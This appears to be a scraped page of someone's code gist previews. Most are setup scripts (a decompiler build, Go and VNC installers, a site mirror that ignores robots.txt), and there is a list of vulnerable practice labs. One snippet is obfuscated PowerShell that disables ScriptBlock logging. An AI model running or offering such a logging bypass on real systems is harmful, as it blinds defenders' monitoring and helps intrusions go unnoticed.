https://softwareupdate.vmware.com/cds/vmw-desktop/player/
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| git clone https://github.com/zrax/pycdc | |
| cd pycdc | |
| cmake . | |
| make | |
| make check | |
| ./pycdc aaa.pyc |
- Metasploitable 2
- OWASP Mutillidae II
- DVWA
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function Download-FileWithProgress { | |
| param ( | |
| [string]$url, | |
| [string]$destination | |
| ) | |
| $request = [System.Net.HttpWebRequest]::Create($url) | |
| $request.Method = "GET" | |
| $response = $request.GetResponse() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # ScriptBlock Logging Bypass | |
| # @cobbr_io | |
| $GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static') | |
| If ($GroupPolicyField) { | |
| $GroupPolicyCache = $GroupPolicyField.GetValue($null) | |
| If ($GroupPolicyCache['ScriptB'+'lockLogging']) { | |
| $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0 | |
| $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0 | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| GOLANG="$(curl -s https://go.dev/dl/ | grep -o 'go[0-9\.]*\.linux-amd64.tar.gz' | head -n 1)" | |
| wget https://go.dev/dl/$GOLANG | |
| sudo rm -rf /usr/local/go && sudo tar -C /usr/local -xzf $GOLANG | |
| rm $GOLANG | |
| unset GOLANG | |
| echo -e 'export PATH=$PATH:/usr/local/go/bin' | tee -a ~/.bashrc | |
| bash -c "go env" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| export DEBIAN_FRONTEND="noninteractive" | |
| echo -e "[!] Installing XFCE4 and VNC server.." | |
| sudo apt update | |
| sudo apt install -y xfce4 xfce4-goodies tigervnc-standalone-server fonts-liberation | |
| sudo apt remove -y xfce4-screensaver | |
| echo -e "\n[!] Installing Chrome.." |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| wget --recursive \ | |
| --no-parent \ | |
| --convert-links \ | |
| --random-wait --wait 3 --no-http-keep-alive \ | |
| --no-host-directories \ | |
| --execute robots=off --user-agent=Mozilla/5.0 \ | |
| --level=inf --accept '*' \ | |
| --reject="index.html*" \ |
get_ip() {
# Replace 'eth0' with your interface name, such as 'wlan0' for Wi-Fi
local interface="ens33"
ip addr show $interface 2>/dev/null | grep 'inet ' | awk '{print $2}' | cut -d'/' -f1
}then add [$(get_ip)] to PS1 var
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| head /dev/urandom | tr -dc 'a-f0-9' | head -c 8 |